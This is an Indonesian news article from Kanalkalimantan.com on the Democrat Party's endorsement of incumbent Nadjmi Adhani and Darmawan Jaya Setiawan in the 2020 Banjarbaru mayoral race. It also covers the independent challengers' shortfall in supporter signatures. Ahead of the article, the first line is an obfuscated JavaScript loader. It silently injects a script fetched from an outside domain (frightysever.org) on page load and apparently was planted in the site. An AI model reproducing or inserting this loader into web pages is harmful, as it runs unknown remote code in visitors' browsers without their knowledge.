(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dukungan terus mengalir ke pasangan incumbent bakal calon Wali Kota Banjarbaru Nadjmi Adhani-Darmawan Jaya Setiawan. Kali ini, giliran DPP Partai Demokrat berikan mandat. Sementara itu, calon penantang baru masih belum muncul secara meyakinkan pasca mundurnya Aditya Mufti Ariffin. Akankah incumbent melawan kotak kosong di Pilkada Banjarbaru?
Surat rekomendasi dengan nomor 139/SK/DPP.PD/VII/2020 tanggal 22 Juli 2020 ini, diserahkan langsung oleh Ketum DPP Partai Demokrat Agus Harimurti Yudhoyono (AHY) kepada Darmawan Jaya Setiawan yang didampingi oleh Ketua DPD Partai Demokrat Kalsel Rusian di Jakarta.
AHY sendiri, optimis pasangan Nadjmi – Jaya dapat memenangkan Pilwali Banjarbaru. Ia memastikan, Demokrat akan mendukung pasangan ini sepenuhnya. “Besar harapan kita, jika keduanya terpilih menjadi pemimpin di Kota Banjarbaru, segala prestasi dan capaian selama lima tahun terakhir bisa dipertahankan dan dilanjutkan. Hal-hal yang belum tuntas tentu bisa dituntaskan,” kata AHY, Rabu (22/7/2020).
Ia berpesan kepada Jaya -dan tentunya juga kepada pasangannya Nadjmi- agar tetap amanah dalam mengemban tugas memimpin Kota Banjarbaru dan menyejahterakan masyarakat.
“Dengan demikian, saya Agus Harimurti Yudhoyono, Ketua Umum Partai Demokrat, menyerahkan surat rekomendasi kepada calon wali kota dan wakil wali kota Banjarbaru, Provinsi Kalimantan Selatan periode 2020-2025. Kepada pasangan Nadjmi Adhani-Darmawan Jaya Setiawan,” kata AHY sembari menyerahkan surat rekomendasi kepada Jaya.
Sementara itu, Darmawan Jaya mengaku bahagia dan berterimakasih kepada Partai Demokrat yang telah mempercayakan dukungannya kepada pasangan Nadjmi – Jaya. “Dukungan Partai Demokrat ini bagian dari membangun spirit keberasamaan untuk membangun Banjarbaru yang lebih baik dan semakin baik,” tandas Jaya.
Sekadar diketahui, pasangan Nadjmi – Jaya saat ini memperoleh dukungan dari Partai Nasdem (4 kursi), PKS (2 kursi), PDIP (3 kursi) , Partai Golkar (5 kursi), dan Demokrat (1 kursi). Praktis pasangan ini semakin tak terbendung.
Sebelumnya, SK Rekomendasi DPP Partai Golkar, kini mereka genggam setelah diserahkan langsung oleh Ketua Umum Partai Golkar Airlangga Hartarto di Jakarta, Minggu (12/7/2020). SK rekomendasi diterima pasangan Nadjmi-Jaya, bersama sejumlah calon yang diusung Partai Golkar lainnya dalam acara ‘Penyerahan Surat Keputusan Pasangan Calon Partai Golkar di Pilkada Serentak 2020’. SK rekomendasi tersebut, menjawab surat yang sebelumnya disampaikan DPD Golkar Kalsel melalui pengajuan rekomendasi No A-054/GOLKAR-KS/V1/2020 tentang Laporan Hasil Pelaksanaan Tahapan Seleksi Bakal Calon Kepala Daerah Partai Golkar di Pilkada 2020.
Ketua Harian DPD Golkar Kalsel H Supian HK menegaskan bahwa DPD Golkal Kalsel akan kembali mengusulkan satu nama kandidat dan orang itu ialah Nadjmi Adhani sebagai pasangan petahana (incumbent).
Kini tinggal menunggu suara PAN dan Gerindra untuk menggenapi dukungan.
Baca juga: Pro Kontra Perwali Protokol Covid-19, Nadjmi: Perlu Aturan Tegas agar Tak Jadi Lelucon!
Di sisi lain, satu-satunya harapan penantang incumbent Nadjmi-Jaya di jalur independen yakni duet Edy Saifuddin-Astina Zuraidah terancam tersandung dari pencalonan. Hasil verifikasi faktual dan rekapitulasi dukungan yang digelar KPU Banjarbaru menyatakan adanya kekurangan dukungan lebih dari 50 persen.
Konsekwensinya, mereka pun harus bisa memenuhi ‘denda suara’ sebanyak 18.249 dukungan KTP. Jumlah yang lebih besar dari syarat awal yang mesti dia setor ke KPU yang hanya dipatok 16.000 suara. Sebuah misi nyaris tak masuk akal bagi mereka untuk bisa mengejar dalam jangka perbaikan saat ini.
KPU Banjarbaru telah mengakhiri seluruh tahapan verifikasi faktual dan rekapitulasi dukungan calon perseorangan (independen) yang akan mengikuti kontesasi Pilkada 2020. Sebagai satu-satunya calon yang maju di jalur independen, Edy-Astina pun mendapat rapor dari hasil rekapitulasi.
Bakal Calon Wali Kota Banjarbaru, Edy Saifuddin, menyatakan pihaknya tetap optimis memenuhi kekurangan syarat dukungan tersebut. Permasalahan ini sendiri tidak membuat dirinya goyah untuk masuk di panggung Pilkada Banjarbaru melalui jalur independen. “Insyaallah, kami lagi berupaya semaksimal mungkin,” tegasnya. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.